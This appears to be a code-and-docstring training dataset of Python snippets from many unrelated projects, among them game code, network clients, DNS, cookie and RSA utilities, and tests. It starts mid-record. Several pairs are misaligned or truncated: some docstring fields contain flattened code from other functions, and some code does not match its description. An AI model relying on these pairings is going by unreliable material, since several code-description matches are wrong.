TILE_SCALING * self.tile_map.tile_width)enemy.center_y = math.floor((cartesian[1] + 1) * (self.tile_map.tile_height * TILE_SCALING))if \"boundary_left\" in my_object.properties:enemy.boundary_left = my_object.properties[\"boundary_left\"]if \"boundary_right\" in my_object.properties:enemy.boundary_right = my_object.properties[\"boundary_right\"]if \"change_x\" in my_object.properties:enemy.change_x = my_object.properties[\"change_x\"]self.scene.add_sprite(LAYER_NAME_ENEMIES, enemy)# --- Other stuff# Set the background colorif self.tile_map.background_color:arcade.set_background_color(self.tile_map.background_color)# Create the 'physics engine'self.physics_engine = arcade.PhysicsEnginePlatformer(self.player_sprite,platforms=self.scene[LAYER_NAME_MOVING_PLATFORMS],gravity_constant=GRAVITY,ladders=self.scene[LAYER_NAME_LADDERS],walls=self.scene[LAYER_NAME_PLATFORMS])def on_draw(self):Render the screen."} {"code": "def map_to_split_name(f_dataset):\n if f_dataset[:-len(\"1.0.json\")] == \"train\":\n name = \"training\"\n elif f_dataset[:-len(\"1.0.json\")] == \"test\":\n name = \"test\"\n elif f_dataset[:-len(\"1.0.json\")] == \"dev\":\n name = \"validation\"\n else:\n raise ValueError\n\n return name\n\n", "nl": ":param f_dataset: any of \"dev1.0.json\", \"train1.0.json\", \"test1.0.json\":return: any of \"training\", \"validation\", \"test\""} {"code": "def ingest_memory(self, memory):", "nl": "Transform the memory into bytes:param memory: Compose memory definition. (1g, 24k):type memory: memory string or integer:return: The memory in bytes:rtype: int"} {"code": "def get_service_url(self, service, service_pattern, renew):\n ticket = self.get_ticket(ServiceTicket, service, service_pattern, renew)\n url = utils.update_url(service, {'ticket': ticket.value})\n logger.info(\"Service ticket created for service %s by user %s.\" % (service, self.username))\n return url\n\n\nclass ServicePatternException(Exception):\n \"\"\"\n pass\n\n\nclass BadUsername(ServicePatternException):\n \"\"\"\n pass\n\n\nclass BadFilter(ServicePatternException):\n \"\"\"\n pass\n\n\nclass UserFieldNotDefined(ServicePatternException):\n \"\"\"\n pass\n\n\n@python_2_unicode_compatible\nclass ServicePattern(models.Model):\n \"\"\"\n class Meta:\n ordering = (\"pos\", )\n verbose_name = _(\"Service pattern\")\n verbose_name_plural = _(\"Services patterns\")\n\n pos = models.IntegerField(", "nl": "Return the url to which the user must be redirected toafter a Service Ticket has been generated:param unicode service: The service url for which we want a ticket.:param ServicePattern service_pattern: The service pattern matching ``service``.Beware that ``service`` must match :attr:`ServicePattern.pattern` and the current:class:`User` must pass :meth:`ServicePattern.check_user`. These checks are not donehere and you must perform them before calling this method.:param bool renew: Should be ``True`` if authentication has been renewed. Must be``False`` otherwise.:return unicode: The service url with the ticket GET param added.:rtype: unicode"} {"code": "def test_NLSTNonexistent(self):\n d = self._anonymousLogin()\n\n self._download('NLST nonexistent.txt', chainDeferred=d)", "nl": "NLST on a non-existent file/directory returns nothing."} {"code": "def create_vpc(self, cidr_block):\n params = {'CidrBlock' : cidr_block}\n return self.get_object('CreateVpc', params, VPC)\n", "nl": "Create a new Virtual Private Cloud.:type cidr_block: str:param cidr_block: A valid CIDR block:rtype: The newly created VPC:return: A :class:`boto.vpc.vpc.VPC` object"} {"code": "def test_absolute_template_file(self):\n with self.create_temp_cwd(['notebook*.ipynb']):\n os.mkdir('relative')\n template = os.path.join('relative', 'path.tpl')\n test_output = 'success!'\n with open(template, 'w') as f:\n f.write(test_output)\n self.nbconvert('--log-level 0 notebook2 --template %s' % template)\n assert os.path.isfile('notebook2.html')\n with open('notebook2.html') as f:\n text = f.read()\n assert text == test_output\n\n @dec.onlyif_cmds_exist('xelatex')\n @dec.onlyif_cmds_exist('pandoc')", "nl": "--template '/path/to/template.tpl'with self.create_temp_cwd(['notebook*.ipynb']), tempdir.TemporaryDirectory() as td:template = os.path.join(td, 'mytemplate.tpl')test_output = 'success!'with open(template, 'w') as f:f.write(test_output)self.nbconvert('--log-level 0 notebook2 --template %s' % template)assert os.path.isfile('notebook2.html')with open('notebook2.html') as f:text = f.read()assert text == test_outputdef test_relative_template_file(self):Test --template 'relative/path.tpl'"} {"code": "def set(self, value):\n\n if not isinstance(value, str_cls):\n raise TypeError(unwrap(\n '''\n type_name(self),\n type_name(value)\n ))\n\n if value.startswith('.'):\n encoded_value = b'.' + value[1:].encode(self._encoding)\n else:\n encoded_value = value.encode(self._encoding)\n\n self._unicode = value\n self.contents = encoded_value\n self._header = None\n if self._trailer != b'':\n self._trailer = b''\n\n\nclass URI(IA5String):\n", "nl": "Sets the value of the DNS name:param value:A unicode string"} {"code": "def callback_message(self, msg):\n\n for deprecated_prefix in self.bot_config.BOT_DEPRECATED_PREFIXES:\n if msg.body.startswith(deprecated_prefix):\n self.send(\n msg.frm,\n \"@{} usage of {} has been deprecated, please use {} \"\n \"from now on.\".format(msg.frm.nick, deprecated_prefix,\n self.bot_config.BOT_PREFIX)\n )", "nl": "Notify the user issuing the command that use deprecated prefix."} {"code": "def astng_wrapper(func, modname):\n return func(modname)\n", "nl": "wrapper to give to ASTNGManager.project_from_filesprint 'parsing %s...' % modnametry:return func(modname)except ASTNGBuildingException, exc:print excexcept Exception, exc:import tracebacktraceback.print_exc()def _silent_no_wrap(func, modname):silent wrapper that doesn't do anything; can be used for tests"} {"code": "def _parse_request(header_data, ignore_bad_cookies=False):\n cookies_dict = {}\n for line in Definitions.EOL.split(header_data.strip()):\n matches = Definitions.COOKIE_RE.finditer(line)\n matches = [item for item in matches]\n for match in matches:\n invalid = match.group('invalid')\n if invalid:\n if not ignore_bad_cookies:\n raise InvalidCookieError(data=invalid)\n _report_invalid_cookie(invalid)\n continue\n name = match.group('name')\n values = cookies_dict.get(name)\n value = match.group('value').strip('\"')\n if values:\n values.append(value)\n else:\n cookies_dict[name] = [value]\n if not matches:\n if not ignore_bad_cookies:\n raise InvalidCookieError(data=line)\n _report_invalid_cookie(line)\n return cookies_dict\n\n", "nl": "Turn one or more lines of 'Cookie:' header data into a dict mappingcookie names to cookie values (raw strings)."} {"code": "def usage():\n\ntry:\n\topts, args = getopt.getopt(sys.argv[1:], \"ha:b:c:g:D:M:H:t:o:\")\nexcept getopt.GetoptError, err:\n\tprint str(err)\n\tusage()\n\tsys.exit()\n\nif len(opts)==0:\n\tusage()\n\tsys.exit()\nfastq1=None\nfastq2=None\nfastq3=None\ngsnapexe='/usr/local/bin/gsnap'\ngsnapdb='/usr/local/share/gmapdb'\nmtdb='chrRSRS'\nhumandb='hg19RSRS'\nmqual=30\nthread=8\nfolder=os.path.join(os.getcwd(),'OUTfolder2')\n\nfor o,a in opts:\n\tif o == \"-h\":\n\t\tusage()\n\t\tsys.exit()\n\telif o == \"-a\": fastq1 = a\n\telif o == \"-b\": fastq2 = a\n\telif o == \"-c\": fastq3 = a\n\telif o == \"-g\": gsnapexe = a\n\telif o == \"-D\": gsnapdb = a\n\telif o == \"-M\": mtdb = a\n\telif o == \"-H\": humandb = a\n\telif o == \"-t\": thread = int(a)\n\telif o == \"-o\": folder = a\n\telse:\n\t\tassert False, \"unhandled option\"", "nl": "print Map FASTQ onto mtDNAOptions:-a\t\tInput Fastq-b \t\tInput Fastq for pair-end (optional)-c\t\tInput Fastq for single-end-g\t\tGSNAP executable [/usr/local/bin/gsnap]-D\t\tGSNAP database location [/usr/local/share]-M\t\tGSNAP database for mtDNA [chrRSRS]-H\t\tGSNAP database for complete human genome [hg19RSRS]-t\t\tGSNAP threads [8]-o\t\tOut folder"} {"code": "def __delitem__(self, key):\n if self.typeId is None:\n (classIdentifier, orgId, typeId, deviceId) = key.split(\":\")\n deviceUrl = \"api/v0002/device/types/%s/devices/%s\" % (typeId, deviceId)\n else:\n deviceUrl = \"api/v0002/device/types/%s/devices/%s\" % (self.typeId, key)\n\n r = self._apiClient.delete(deviceUrl)\n if r.status_code == 404:\n self.__missing__(key)\n elif r.status_code != 204:\n raise ApiException(r)\n", "nl": "Delete a device"} {"code": "def deleteGolfSpots(self):\n\n \"\"\"", "nl": "Delete the golf spots we've created.for spot in self.golfSpots:spot.requestDelete()self.golfSpots = []def ballHitBoss(self, speedDamage):Handle a client telling us he hit the boss with the golf ball"} {"code": "def _im_refs(obj, named):\n return _refs(obj, named, '__doc__', '__name__', '__code__', pref='im_')\n\n", "nl": "Return specific referents of a method object."} {"code": "def token2id(self, field, tokens):\n if isinstance(tokens, str):\n if tokens in self.field2token_id[field]:\n return self.field2token_id[field][tokens]\n else:\n raise ValueError(f'token [{tokens}] is not existed in {field}')\n elif isinstance(tokens, (list, np.ndarray)):\n return np.array([self.token2id(field, token) for token in tokens])\n else:\n raise TypeError(f'The type of tokens [{tokens}] is not supported')\n", "nl": "Map external tokens to internal ids.Args:field (str): Field of external tokens.tokens (str, list or numpy.ndarray): External tokens.Returns:int or numpy.ndarray: The internal ids of external tokens."} {"code": "def get_queue_stats(self, queue_name=None, vhost_name=None):\n return self.get_stats('queue', queue_name, vhost_name)\n", "nl": "Returns a dictionary of stats for queue_name."} {"code": "def check_site_dir(self):\n can't create or remove files in install directory\n\n The following error occurred while trying to add or remove files in the\n installation directory:\n\n %s\n\n The installation directory you specified (via --install-dir, --prefix, or", "nl": "Verify that self.install_dir is .pth-capable dir, if neededinstdir = normalize_path(self.install_dir)pth_file = os.path.join(instdir, 'easy-install.pth')# Is it a configured, PYTHONPATH, implicit, or explicit site dir?is_site_dir = instdir in self.all_site_dirsif not is_site_dir and not self.multi_version:# No? Then directly test whether it does .pth file processingis_site_dir = self.check_pth_processing()else:# make sure we can write to target dirtestfile = self.pseudo_tempname() + '.write-test'test_exists = os.path.exists(testfile)try:if test_exists:os.unlink(testfile)open(testfile, 'w').close()os.unlink(testfile)except (OSError, IOError):self.cant_write_to_target()if not is_site_dir and not self.multi_version:# Can't install non-multi to non-site dirraise DistutilsError(self.no_default_version_msg())if is_site_dir:if self.pth_file is None:self.pth_file = PthDistributions(pth_file, self.all_site_dirs)else:self.pth_file = Noneif instdir not in map(normalize_path, _pythonpath()):# only PYTHONPATH dirs need a site.py, so pretend it's thereself.sitepy_installed = Trueelif self.multi_version and not os.path.exists(pth_file):self.sitepy_installed = True # don't need site.py in this caseself.pth_file = None # and don't create a .pth fileself.install_dir = instdir__cant_write_msg = textwrap.dedent("} {"code": "def test_wallet_init_bad_id(self):\n private_key_paths = {FetchAICrypto.identifier: \"this_path_does_not_exists\"}\n with self.assertRaises(FileNotFoundError):\n Wallet(private_key_paths)\n", "nl": "Test Wallet init unsupported private key paths identifier.private_key_paths = {\"unknown_id\": \"path1\"}with self.assertRaises(AEAException):Wallet(private_key_paths)def test_wallet_init_bad_paths(self):Test Wallet init with bad paths to private keys"} {"code": "def _bgzip_and_clean(bcf_file, items):\n out_file = \"%s.vcf.gz\" % (utils.splitext_plus(bcf_file)[0])\n if not utils.file_exists(out_file):\n with file_transaction(items[0], out_file) as tx_out_file:\n if not utils.file_exists(bcf_file):\n vcfutils.write_empty_vcf(tx_out_file, samples=[dd.get_sample_name(d) for d in items])\n else:\n cmd = (f\"bcftools view {bcf_file} | \"\n fr\"sed 's/\\.,\\.,\\././' | \"\n f\"bgzip -c > {tx_out_file}\")\n do.run(cmd, \"Convert and clean delly output\")\n return vcfutils.bgzip_and_index(out_file, items[0][\"config\"])\n\n@utils.map_wrap\n@zeromq_aware_logging", "nl": "Create a clean bgzipped VCF output file from bcf for downstream processing.Also corrects problems with missing likelihoods: https://github.com/dellytools/delly/issues/37GATK does not like missing GLs like '.,.,.'. This converts them to the recognized '.'"} {"code": "def test_unfilteredQuery(self):\n message = self._queryTest(False)\n self.assertIsInstance(message, Message)\n self.assertEqual(message.queries, [])\n self.assertEqual(\n message.answers,\n [RRHeader(b'foo.example.com', payload=Record_A('5.8.13.21', ttl=0))])\n self.assertEqual(message.authority, [])\n self.assertEqual(message.additional, [])\n\n", "nl": "Similar to L{test_filteredQuery}, but for the case where a false valueis passed for the C{filter} parameter. In this case, the result is aL{Message} instance."} {"code": "def pound_sign_color(value):\n\n if len(value) == 4:\n return rgb(\n r=int(value[1] + value[1], 16),\n g=int(value[2] + value[2], 16),\n b=int(value[3] + value[3], 16),\n )\n elif len(value) == 5:\n return rgb(\n r=int(value[1] + value[1], 16),\n g=int(value[2] + value[2], 16),\n b=int(value[3] + value[3], 16),\n a=int(value[4] + value[4], 16) / 0xff,\n )\n elif len(value) == 7:\n return rgb(\n r=int(value[1:3], 16),\n g=int(value[3:5], 16),\n b=int(value[5:7], 16),\n )\n elif len(value) == 9:\n return rgb(\n r=int(value[1:3], 16),\n g=int(value[3:5], 16),\n b=int(value[5:7], 16),\n a=int(value[7:9], 16) / 0xff,\n )\n else:\n raise ValueError('Unknown color %s' % value)\n\n", "nl": "Help with parsing color values prefixed with pound signs.Accepts:* '#RGB'* '#RGBA'* '#RRGGBB'* '#RRGGBBAA'"} {"code": "def get_win_launcher(type):\n launcher_fn = '%s.exe' % type\n if is_64bit():\n if get_platform() == \"win-arm64\":\n launcher_fn = launcher_fn.replace(\".\", \"-arm64.\")\n else:\n launcher_fn = launcher_fn.replace(\".\", \"-64.\")\n else:\n launcher_fn = launcher_fn.replace(\".\", \"-32.\")\n return resource_string('setuptools', launcher_fn)\n\n", "nl": "Load the Windows launcher (executable) suitable for launching a script.`type` should be either 'cli' or 'gui'Returns the executable as a byte string."} {"code": "def advance(self, workd_lk):\n return torch.sort(self.scores, 0, True)\n", "nl": "Advance the beam.num_words = workd_lk.size(1)# Sum the previous scores.if len(self.prevKs) > 0:beam_lk = workd_lk + self.scores.unsqueeze(1).expand_as(workd_lk)else:beam_lk = workd_lk[0]flat_beam_lk = beam_lk.view(-1)bestScores, bestScoresId = flat_beam_lk.topk(self.size, 0, True, True)self.scores = bestScores# bestScoresId is flattened beam x word array, so calculate which# word and beam each score came fromprev_k = bestScoresId / num_wordsself.prevKs.append(prev_k)self.nextYs.append(bestScoresId - prev_k * num_words)# End condition is when top-of-beam is EOS.if self.nextYs[-1][0] == self.eos:self.done = Truereturn self.donedef sort_best(self):Sort the beam."} {"code": "def get_arguments(testcase):\n arguments = (\n testcase.minimized_arguments or", "nl": "Return minimized arguments, without testcase argument and fuzz targetbinary itself (for engine fuzzers)."} {"code": "def resolve_file_paths(path_strings: Iterable[str]) -> list[None | Path]:\n file_paths: list[None | Path] = []\n for path_str in path_strings:\n if path_str == \"-\":\n file_paths.append(None)\n continue\n path_obj = Path(path_str)\n path_obj = _resolve_path(path_obj)\n if path_obj.is_dir():\n for p in path_obj.glob(\"**/*.md\"):\n p = _resolve_path(p)\n file_paths.append(p)\n else:\n file_paths.append(path_obj)\n return file_paths\n\n", "nl": "Resolve pathlib.Path objects from filepath strings.Convert path strings to pathlib.Path objects. Resolve symlinks.Check that all paths are either files, directories or stdin. If not,raise InvalidPath. Resolve directory paths to a list of file paths(ending with \".md\")."} {"code": "def monthdays2calendar(self, year, month):\n days = list(self.itermonthdays2(year, month))\n return [ days[i:i+7] for i in range(0, len(days), 7) ]\n", "nl": "Return a matrix representing a month's calendar.Each row represents a week; week entries are(day number, weekday number) tuples. Day numbers outside this monthare zero."} {"code": "def load_result(self, var_path):\n c_orig = self._c\n c_edit = self.model.get_class_embedding(cls_idx)\n _c = (alpha * c_edit) + ((1.0 - alpha) * c_orig)\n\n with torch.no_grad():\n out = self.model(self._z, _c)[0]\n return out\n", "nl": " load optimized result self._var = np.load(var_path, allow_pickle=True).item()self._idx = np.argmin(self._var.loss[-1][1]['loss'])self._z = self._var.input.z.data[self._idx].unsqueeze(0).float().cuda()self._c = self._var.input.c.data[self._idx].unsqueeze(0).float().cuda()returndef edit_class(self, cls_idx, alpha=1.0): edit class variable "} {"code": "def result(self, timeout=None):\n self._clear_tb_log()\n if self._result is not None:\n return self._result\n if self._exc_info is not None:\n try:\n raise_exc_info(self._exc_info)\n finally:\n self = None\n self._check_done()\n return self._result\n", "nl": "If the operation succeeded, return its result. If it failed,re-raise its exception.This method takes a ``timeout`` argument for compatibility with`concurrent.futures.Future` but it is an error to call itbefore the `Future` is done, so the ``timeout`` is never used."} {"code": "def parse_unique_urlencoded(content):\n urlencoded_params = urllib.parse.parse_qs(content)\n params = {}\n for key, value in six.iteritems(urlencoded_params):\n if len(value) != 1:\n msg = ('URL-encoded content contains a repeated value:'\n '%s -> %s' % (key, ', '.join(value)))\n raise ValueError(msg)\n params[key] = value[0]\n return params\n\n", "nl": "Parses unique key-value parameters from urlencoded content.Args:content: string, URL-encoded key-value pairs.Returns:dict, The key-value pairs from ``content``.Raises:ValueError: if one of the keys is repeated."} {"code": "def get_entry_info(self, group, name):\n", "nl": "Return the EntryPoint object for `group`+`name`, or ``None``return self.get_entry_map(group).get(name)def insert_on(self, path, loc=None, replace=False):Ensure self.location is on path"} {"code": "def clear(self):\n return self.set([])\n\n\nclass HasOne(Relationship):\n \"\"\"\n", "nl": "Clear the list of all of the objects that this one has."} {"code": "def Update(self, request, context):\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n", "nl": "Update updates the given serviceprofile."} {"code": "def get_bias_preds(preds, bias):\n bias = tf.to_int32(bias)\n return preds * (1 - bias[:, None]) + bias[:, None] * 3\n\n encoder_output = encoder_output[:, None, :, :]\n encoder_output = tf.tile(encoder_output, multiples=[1, beam_size, 1, 1])\n encoder_output = tf.reshape(encoder_output, [batch_size * beam_size, -1, encoder_output.get_shape()[-1].value])\n preds = tf.ones([batch_size * beam_size, 1], dtype=tf.int32) * 2\n scores = tf.constant([0.0] + [-inf] * (beam_size - 1), dtype=tf.float32)\n scores = tf.tile(scores, multiples=[batch_size])\n bias = tf.zeros_like(scores, dtype=tf.bool)\n cache = tf.zeros([batch_size * beam_size, 0, self._config.num_blocks, self._config.hidden_units])\n", "nl": "If a sequence is finished, all of its branch should be (3).Args:preds: A int array with shape [batch_size * beam_size, beam_size].bias: A bool array with shape [batch_size * beam_size].Returns:A int array with shape [batch_size * beam_size]."} {"code": "def read_and_crop_image(path, x1, x2, y1, y2):\n img = read_img(path)\n return img[x1:x2,y1:y2]\n", "nl": "Reads the image specified at pathand crops it according to the specified parameters,returning it as a numpy array."} {"code": "def generate_detections_factory(params):\n\n Args:\n scores_in: a Tensor with shape [batch_size, N, num_classes], which stacks\n class logit outputs on all feature levels. The N is the number of total\n anchors on all levels. The num_classes is the number of classes predicted\n by the model.\n pre_nms_num_detections: Number of candidates before NMS.\n\n Returns:\n scores and indices: Tensors with shape [batch_size, pre_nms_num_detections,\n num_classes].\n \"\"\"", "nl": "Factory to select function to generate detection.if params.use_batched_nms:func = functools.partial(_generate_detections_batched,max_total_size=params.max_total_size,nms_iou_threshold=params.nms_iou_threshold,score_threshold=params.score_threshold)else:func = functools.partial(_generate_detections,max_total_size=params.max_total_size,nms_iou_threshold=params.nms_iou_threshold,score_threshold=params.score_threshold,pre_nms_num_boxes=params.pre_nms_num_boxes)return funcdef _select_top_k_scores(scores_in, pre_nms_num_detections):Select top_k scores and indices for each class."} {"code": "def GetBaseFiles(self, diff):\n files = {}\n for line in diff.splitlines(True):\n if line.startswith('Index:') or line.startswith('Property changes on:'):\n unused, filename = line.split(':', 1)\n filename = filename.strip().replace('\\\\', '/')\n files[filename] = self.GetBaseFile(filename)\n return files\n\n", "nl": "Helper that calls GetBase file for each file in the patch.Returns:A dictionary that maps from filename to GetBaseFile's tuple. Filenamesare retrieved based on lines that start with \"Index:\" or\"Property changes on:\"."} {"code": "def configure_syslog_server(client_session, server, port, protocol):\n\n syslog_body_dict = { 'syslogServer': server, 'port': port, 'protocol': protocol }\n\n cfg_result = client_session.update('systemSyslogServer', request_body_dict={'syslogserver': syslog_body_dict})\n\n if cfg_result['status'] == 204:\n return True\n else:\n return False\n", "nl": "Pre-NSX 6.4 functionalityConfigures 1 syslog server. If there are syslog server(s) already configured,this API replaces the first one in the list.:param client_session: An instance of an NsxClient session:param server: The syslog server to connect to.:param port: The port to use to connect to the syslog server. Default is 514.:param protocol: The protocol to use to connect to the syslog server. Default is UDP."} {"code": "def verify(self, msg_hash, signature):\n\n modBits = Crypto.Util.number.size(self._key.n)\n k = ceil_div(modBits, 8)\n\n if len(signature) != k:\n raise ValueError(\"Invalid signature\")\n signature_int = bytes_to_long(signature)\n em_int = self._key._encrypt(signature_int)\n em1 = long_to_bytes(em_int, k)\n try:\n possible_em1 = [ _EMSA_PKCS1_V1_5_ENCODE(msg_hash, k, True) ]\n try:\n algorithm_is_md = msg_hash.oid.startswith('1.2.840.113549.2.')\n except AttributeError:\n algorithm_is_md = False\n if not algorithm_is_md:\n possible_em1.append(_EMSA_PKCS1_V1_5_ENCODE(msg_hash, k, False))\n except ValueError:\n raise ValueError(\"Invalid signature\")\n if em1 not in possible_em1:\n raise ValueError(\"Invalid signature\")\n pass\n\n", "nl": "Check if the PKCS#1 v1.5 signature over a message is valid.This function is also called ``RSASSA-PKCS1-V1_5-VERIFY`` andit is specified in`section 8.2.2 of RFC8037 `_.:parameter msg_hash:The hash that was carried out over the message. This is an objectbelonging to the :mod:`Crypto.Hash` module.:type parameter: hash object:parameter signature:The signature that needs to be validated.:type signature: byte string:raise ValueError: if the signature is not valid."} {"code": "def topological_sort(graph):\n if not graph:\n return []\n\n if is_cyclic(graph):\n raise RuntimeError(\n \"Cannot apply topological sort to the graphs with cycles\")\n\n sorted_nodes = []\n graph_unsorted = graph.copy()\n\n while graph_unsorted:\n for node, edges in list(graph_unsorted.items()):\n if all(edge not in graph_unsorted for edge in edges):\n del graph_unsorted[node]\n sorted_nodes.append(node)\n\n return sorted_nodes\n\n", "nl": "Repeatedly go through all of the nodes in the graph, moving each ofthe nodes that has all its edges resolved, onto a sequence thatforms our sorted graph. A node has all of its edges resolved andcan be moved once all the nodes its edges point to, have been movedfrom the unsorted graph onto the sorted one.Parameters----------graph : dictDictionary that has graph structure.Raises------RuntimeErrorIf graph has cycles.Returns-------listList of nodes sorted in topological order."} {"code": "def get_module_cache(init_args=None):\n return cmodule.get_module_cache(config.compiledir, init_args=init_args)\n\n\n_persistent_module_cache = None\n\n", "nl": "Parameters----------init_argsIf not None, the (k, v) pairs in this dictionary will be forwarded tothe ModuleCache constructor as keyword arguments."} {"code": "def values_(self):\n return self._values\n\n\nclass DeviceSummaryFacet(ResultFacet):\n \"\"\"\n urlobject = \"/livequery/v1/orgs/{}/runs/{}/results/device_summaries/_facet\"\n", "nl": "Returns the reified ``ResultFacet.Values`` for this result."} {"code": "def _flush_outbound(self):\n while self.outbound_buffer:\n self.transport.write(self.outbound_buffer.popleft())\n", "nl": "Override BaseConnection._flush_outbound to send all bufferred datathe Twisted way, by writing to the transport. No need for buffering,Twisted handles that for us."} {"code": "def is_window_closed(self):\n try:\n prop_asp = cv2.getWindowProperty(self._window_name, cv2.WND_PROP_ASPECT_RATIO)\n if prop_asp < 0.0:\n return True\n except:\n return True\n\n return False\n", "nl": "Try to determine if the user closed the window (by clicking the x).This may only work with OpenCV 3.x.All OpenCV window properties should return -1.0 for windows that are closed.If we read a property that has a value < 0 or an exception is raised we assumethe window has been closed. We use the aspect ratio property but it could be any."} {"code": "def borrow_optimizer(self, shared_module):\n assert shared_module.optimizer_initialized\n self._optimizer = shared_module._optimizer\n self._kvstore = shared_module._kvstore\n self._update_on_kvstore = shared_module._update_on_kvstore\n self._updater = shared_module._updater\n self.optimizer_initialized = True\n", "nl": "Borrow optimizer from a shared module. Used in bucketing, where exactly the sameoptimizer (esp. kvstore) is used.Parameters----------shared_module : Module"} {"code": "def proc_resp_get_config(self, dat):\n self.queue.put(dat)\n", "nl": "Callback for message RESPONSE_GET_CONFIGThis method should be overridden if you want to process the message asynchronously.Args:dat (dict): received message"} {"code": "def load_ner_model(lang=\"en\", version=\"2\"):\n src_dir = \"ner{}\".format(version)\n p = locate_resource(src_dir, lang)\n fh = _open(p)\n try:\n return pickle.load(fh)\n except UnicodeDecodeError:\n fh.seek(0)\n return pickle.load(fh, encoding='latin1')\n\n\n@memoize", "nl": "Return a named entity extractor parameters for `lang` and of version `version`Args:lang (string): language code.version (string): version of the parameters to be used."} {"code": "def add_raid_level(self, level):\n if not self.is_raid_level(level):\n raise RaidError(\"level is not a valid RAID level\")\n self._raid_levels.add(level)\n", "nl": "Adds level to levels if it is not already there.:param object level: an object representing a RAID levelRaises a RaidError if level is not valid.Does not allow duplicate level objects."} {"code": "def add_node(self, node_id, title):\n if self.shape == \"plaintext\":\n label = self.wrap_title(\"{} {}\".format(node_id, title)).strip()\n elif self.shape == \"record\":\n label = \"{\" + \"|\".join([node_id, self.wrap_title(title)]) + \"}\"\n\n self.graph.node(node_id, label, shape=self.shape)\n", "nl": "Add a node to the network.Parameters----------node_id : str, or intA unique identifier for the node, typically the zettel ID.title : strThe text label for each node, typically the zettel title."} {"code": "def dns(self, name, qtype, cnames=None):\n if name.endswith('.'): name = name[:-1]\n if not reduce(lambda x,y:x and 0 < len(y) < 64, name.split('.'),True):\n return []\n result = self.cache.get( (name, qtype), [])\n if result: return result\n cnamek = (name,'CNAME')\n cname = self.cache.get( cnamek )\n\n if cname:\n cname = cname[0]\n else:\n safe2cache = query.SAFE2CACHE\n if self.querytime < 0:\n raise TempError('DNS Error: exceeded max query lookup time')\n if self.querytime < self.timeout and self.querytime > 0:\n timeout = self.querytime\n else:\n timeout = self.timeout\n timethen = time.time()\n for k, v in DNSLookup(name, qtype, self.strict, timeout):\n if k == cnamek:\n cname = v\n if k[1] == 'CNAME' or (qtype,k[1]) in safe2cache:", "nl": "DNS query.If the result is in cache, return that. Otherwise pull theresult from DNS, and cache ALL answers, so additional infois available for further queries later.CNAMEs are followed.If there is no data, [] is returned.pre: qtype in ['A', 'AAAA', 'MX', 'PTR', 'TXT', 'SPF']post: isinstance(__return__, types.ListType)"} {"code": "def fromisocalendar(cls, year, week, day):\n if not MINYEAR <= year <= MAXYEAR:\n raise ValueError(f\"Year is out of range: {year}\")\n\n if not 0 < week < 53:\n out_of_range = True\n\n if week == 53:\n first_weekday = _ymd2ord(year, 1, 1) % 7\n if (first_weekday == 4 or (first_weekday == 3 and\n _is_leap(year))):\n out_of_range = False\n\n if out_of_range:\n raise ValueError(f\"Invalid week: {week}\")\n\n if not 0 < day < 8:\n raise ValueError(f\"Invalid weekday: {day} (range is [1, 7])\")\n\n day_offset = (week - 1) * 7 + (day - 1)\n\n day_1 = _isoweek1monday(year)\n ord_day = day_1 + day_offset\n\n return cls(*_ord2ymd(ord_day))\n\n", "nl": "Construct a date from the ISO year, week number and weekday.This is the inverse of the date.isocalendar() function"} {"code": "def test_negative_index(self, len):\n assert any([42]) is True\n", "nl": "Raises ValueError if the length is < 0.length = Len(-1)with pytest.raises(ValueError):len(length)@pytest.mark.parametrize(\"any\", [builtins.any, desugar.builtins.any])class TestAny:def test_success(self, any):Return True if the iterable has the object."} {"code": "def _get_host_atomic_group_id(self, host_labels, queue_entry=None):\n atomic_labels = [self._labels[label_id] for label_id in host_labels\n if self._labels[label_id].atomic_group_id is not None]\n atomic_ids = set(label.atomic_group_id for label in atomic_labels)\n if not atomic_ids:\n return None\n if len(atomic_ids) > 1:\n logging.error('More than one Atomic Group on HQE \"%s\" via: %r',\n queue_entry, atomic_labels)\n return atomic_ids.pop()\n", "nl": "Return the atomic group label id for a host with the given set oflabels if any, or None otherwise. Raises an exception if more thanone atomic group are found in the set of labels.:param host_labels: A list of label ids that the host has.:param queue_entry: The HostQueueEntry we're testing. Only used forextra info in a potential logged error message.:return: The id of the atomic group found on a label in host_labelsor None if no atomic group label is found."} {"code": "def center_size(boxes):\n return torch.cat([(boxes[:, 2:] + boxes[:, :2]) / 2, boxes[:, 2:] - boxes[:, :2]], 1)\n\n", "nl": " Convert prior_boxes to (cx, cy, w, h)representation for comparison to center-size form ground truth data.Args:boxes: (tensor) point_form boxesReturn:boxes: (tensor) Converted xmin, ymin, xmax, ymax form of boxes."} {"code": "def empty(self):\n expr : term ((PLUS | MINUS) term)*\n \"\"\"", "nl": "An empty productionreturn NoOp()def expr(self):"} {"code": "def testCopyToProto_SeveralExtensions(self):\n\n self._InternalTestCopyToProto(\n unittest_pb2.TestMultipleExtensionRanges.DESCRIPTOR,\n descriptor_pb2.DescriptorProto,\n TEST_MESSAGE_WITH_SEVERAL_EXTENSIONS_ASCII)\n", "nl": "TEST_MESSAGE_WITH_SEVERAL_EXTENSIONS_ASCII = name: 'TestMultipleExtensionRanges'extension_range: extension_range: extension_range: "} {"code": "def gmixer_12_224(pretrained=False, **kwargs):\n model_args = dict(\n patch_size=16, num_blocks=12, embed_dim=384, mlp_ratio=(1.0, 4.0),\n mlp_layer=GluMlp, act_layer=nn.SiLU, **kwargs)\n model = _create_mixer('gmixer_12_224', pretrained=pretrained, **model_args)\n return model\n\n\n@register_model", "nl": " Glu-Mixer-12 224x224Experiment by Ross Wightman, adding (Si)GLU to MLP-Mixer"} {"code": "def show_pick_account(self, request, openid):\n return self.render(request, self.pick_account_template, {\n 'action': urljoin(request.path, '../pick/'),\n 'openid': openid,\n 'users': self.lookup_openid(request, openid),\n })\n", "nl": "The user's OpenID is associated with more than one account - ask themwhich one they would like to sign in as"} {"code": "def forward(ctx, xyz: torch.Tensor, npoint: int) -> torch.Tensor:\n assert xyz.is_contiguous()\n\n B, N, _ = xyz.size()\n output = torch.cuda.IntTensor(B, npoint)\n temp = torch.cuda.FloatTensor(B, N).fill_(1e10)\n\n pointnet2.furthest_point_sampling_wrapper(B, N, npoint, xyz, temp, output)\n return output\n\n @staticmethod", "nl": "Uses iterative furthest point sampling to select a set of npoint features that have the largestminimum distance:param ctx::param xyz: (B, N, 3) where N > npoint:param npoint: int, number of features in the sampled set:return:output: (B, npoint) tensor containing the set"} {"code": "def record_filter(input_iter, in_format, read_names):\n for record in input_iter:\n if record.id in read_names:\n yield record\n\n\nif __name__ == 